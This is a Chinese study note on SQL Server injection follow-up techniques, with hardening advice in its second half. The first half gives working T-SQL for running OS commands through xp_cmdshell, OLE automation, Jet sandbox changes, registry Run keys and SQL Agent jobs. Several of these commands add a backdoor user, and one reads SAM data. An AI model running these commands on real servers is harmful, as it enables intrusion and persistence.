笔记203 sqlserver注入方式与安全防护的学习
笔记203 sqlserver注入方式与安全防护的学习
1 --sqlserver注入方式与安全防护的学习 2 --http://www.cnblogs.com/chillsrc/archive/2008/12/10/1346054.html 3 --初级黑客 4 EXEC master..xp_cmdshell 'dir' 5 EXEC master..xp_cmdshell 'net user' 6 7 --中级黑客 8 --1) 利用OLE对象接口 9 --SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod, 10 --可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。 11 --shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。 12 13 DECLARE @shell INT 14 EXEC SP_OAcreate 'wscript.shell',@shell out 15 EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add' 16 17 -- 2) 开启access的沙盒模式 18 --在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句, 19 --但是开启了JET引擎的沙盒模式后就可以执行命令, 20 --先利用xp_regwrite存储过程改写注册表, 21 --然后利用 OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。 22 23 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',3 24 25 -- SandBoxmode值说明 26 -- 默认值为2, win7默认值为1 27 -- 0--表示始终禁用SandBoxmode模式, 28 -- 1--表示对于非Acess应用程序试用SandBoxmode模式, 29 -- 2--表示对access应用程序使用SandBoxmode模式, 30 -- 3--则表示完全开启安全设置。 始终使用SandBoxmode模式 31 32 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hack hack /add")') 33 34 35 -- 3) 利用xp_regxxxxx之类的存储过程写注册表项 36 -- 这个方法只有sa账户或是sysadmin权限的帐户才可以使用. 37 --执行exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY\SAM\Domains\Account'', ''F'' 38 -- 如果碰到一个粗心的管理员,说不定就能得到管理员的密码. 39 -- 加一个启动项什么的自然不在话下。 40 --利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。 41 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ', 42 'C:\windows\system32\cmd.exe /c net user hack hack /add' 43 44 -- 如果有必要就把这些扩展都删除了 45 --Xp_regaddmultistring (向注册表中增加项目) 46 --Xp_regdeletekey (从注册表中删除一个键) 47 --Xp_regdeletevalue (从注册表中删除一个键值) 48 --Xp_regenumvalues (列举主键下的键值) 49 --Xp_regread (读去一个主键下的键值) 50 --Xp_regremovemultistring (从注册表中删除项目) 51 --Xp_regwrite (向注册表中写入数据) 52 53 54 --4 ) 利用SQL代理执行命令 55 --默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。 56 57 exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' 58 use msdb 59 exec sp_delete_job null,'x' 60 exec sp_add_job 'x' 61 EXEC [dbo].[sp_add_jobstep] @job_id = NULL, -- uniqueidentifier 62 @job_name ='x', -- sysname 63 @step_id = NULL, -- int 64 @step_name = '1', -- sysname 65 @subsystem = N'CMDEXEC', -- nvarchar(40) 66 @command = N'cmd /c Dir C:\' -- nvarchar(max) 67 68 EXEC [dbo].[sp_add_jobserver] @job_id = NULL, -- uniqueidentifier 69 @job_name = 'x', -- sysname 70 @server_name = @@servername exec sp_start_job 'x' -- sysname 71 72 73 74 75 76 77 --三、其他获取系统信息 78 79 -- 历遍目录 80 exec master.dbo.xp_dirtree 'c:\' 81 -- 获取子目录 82 exec master.dbo.xp_subdirs 'c:\' 83 -- 列举可用的系统分区 84 exec master.dbo.xp_availablemedia 85 -- 判断目录或文件是否存在 1:存在 0:不存在 86 exec master..xp_fileexist 'c:\boot.ini' 87 exec master..xp_fileexist 'c:\hwscore.txt' 88 89 90 --高级黑客 91 --高级黑客技术只在少部分人中传播, 92 93 94 ----------------------------------------防御-------------------------------------------------------------------------- 95 --五、防御SQL注入的一些要点与方法 96 -- 1. 确认已经安装了windows操作系统和SQL Server的最新补丁程序。 97 -- 2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异构的环境中使用。 98 --说明:如果可能请除去不需要的网络协议。 99 --3. 给 "sa" 和具有"sysadmin"权限的帐户设定强壮的密码来加强其安全性。至于什么是强壮的密码呢,个人认为是字母、数字、特殊字符的组合,不少八位字符。 100 --4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。 101 -- 这个低权限的帐户应该只有最小的权限和限制这个帐户对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给予多余的权限。 102 -- 注意:当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的权限处理。 103 104 --5. 确定所有的SQL服务器数据,而且系统文件是装置在 NTFS 分区,且"目录访问控制"被应用。 105 -- 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。 106 107 --6.如果你不需要 xp_cmdshell 那请停用它。如果需要的话再把它增加回来。 108 -- 其实这也好也不好 ————一个侵入者如果发现它不在了,也只需要把他加回来。考虑一下,可以除去在下面的dll但是移除之前必须测试因为有些dll同时被一些程序所用。 109 -- 要找到其他的程序是否使用相同的 dll请进行以下步骤: 110 -- 首先得到该 dll: 111 select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell' 112 -- 其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll: 113 select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll' 114 -- 用户可以用同样的办法处理下面步骤中其他你想去掉的进程。 115 116 --7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些存储过程如下: 117 --功能的外围应用配置器:OLE自动化 ,启用OLE自动化,OLE自动化扩展存储过程(XP)允许TSQL批处理,存储过程,触发器引用自定义OLE 118 --自动化对象 119 -- sp_OACreate 120 -- sp_OADestroy 121 -- sp_OAGetErrorInfo 122 -- sp_OAGetProperty 123 -- sp_OAMethod 124 -- sp_OASetProperty 125 -- sp_OAStop 126 -- 如果你决定停用这些存储过程,那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 127 128 129 130 131 --8. 禁用你不需要的注册表存储过程。(同上面的警告)这些包括: 132 -- xp_regaddmultistring 133 -- xp_regdeletekey 134 -- xp_regdeletevalue 135 -- xp_regenumvalues 136 -- xp_regremovemultistring 137 -- 注意 :xp_regread/ xp_regwrite这两个存储过程的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐 138 139 140 --9.移除其他你认为会造成威胁的系统储存过程。 这种存储过程是相当多的,而且他们也会浪费一些cpu时间。 141 -- 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。 142 --在下面是我们所推荐的有待你评估的一些列表: 143 -- sp_sdidebug 144 -- xp_availablemedia 145 -- xp_cmdshell 146 -- xp_deletemail 147 -- xp_dirtree 148 -- xp_dropwebtask 149 -- xp_dsninfo 150 -- xp_enumdsn 151 -- xp_enumerrorlogs 152 -- xp_enumgroups 153 -- xp_enumqueuedtasks 154 -- xp_eventlog 155 -- xp_findnextmsg 156 -- xp_fixeddrives 157 -- xp_getfiledetails 158 -- xp_getnetname 159 -- xp_grantlogin 160 -- xp_logevent 161 -- xp_loginconfig 162 -- xp_logininfo 163 -- xp_makewebtask 164 -- xp_msver xp_perfend 165 -- xp_perfmonitor 166 -- xp_perfsample 167 -- xp_perfstart 168 -- xp_readerrorlog 169 -- xp_readmail 170 -- xp_revokelogin 171 -- xp_runwebtask 172 -- xp_schedulersignal 173 -- xp_sendmail 174 -- xp_servicecontrol 175 -- xp_snmp_getstate 176 -- xp_snmp_raisetrap 177 -- xp_sprintf 178 -- xp_sqlinventory 179 -- xp_sqlregister 180 -- xp_sqltrace 181 -- xp_sscanf 182 -- xp_startmail 183 -- xp_stopmail 184 -- xp_subdirs 185 -- xp_unc_to_drive 186 -- xp_dirtree 187 188 189 --10. 除去数据库的guest账户,这样可以把未经许可的使用者排除在外。 190 -- 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。 191 192 --11. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans(特洛伊木马), 193 --病毒或是简单实现一个DDOS攻击成为可能 194 195 --12. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项: 196 -- xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3 197 -- 服务器属性->安全性->登录审核 ->失败和成功的登录 198 199 200 --13. 建立一个计划的任务运行: 201 --然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。 202 -- 这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三方工具。 203 --注意: 你可能需要将路径换成你安装SQL的路径。 204 205 206 207 208 --14. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 209 -- ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 210 --发送一个电子邮件或信息到一个能够对问题及时响应的操作员。 211 212 213 214 215 --15. 经常检查组或角色全体成员并且确定用户组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 216 -- 公众的组不能从系统表执行选择操作。 217 218 219 220 --16. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查: 221 select password ,[loginname],[dbname] , * from syslogins where password is null order by name 222 223 224 --17. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限: 225 Use master 226 select sysobjects.name from sysobjects,sysprotects where sysprotects.uid=0 AND xtype in('X','P') 227 AND sysobjects.id=sysprotects.id 228 Order by name 229 230 231 --18. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模式中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模式,密码也会留在注册表中。 232 233 --sql 2000: 234 --使用 regedit 而且检查键: 235 -- HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group 236 -- ("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置) 237 238 239 --sql 2005已经没有在注册表中写sqlew这个键了. 240 241 242 --19. 制定一个安全审核计划,每月的一份安全报告,对IT主管可用的报表包括新的开发内容中进行的数据库修改,成功的攻击 , 243 --备份保护 , 和对象存取失败统计。 244 245 246 --20. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。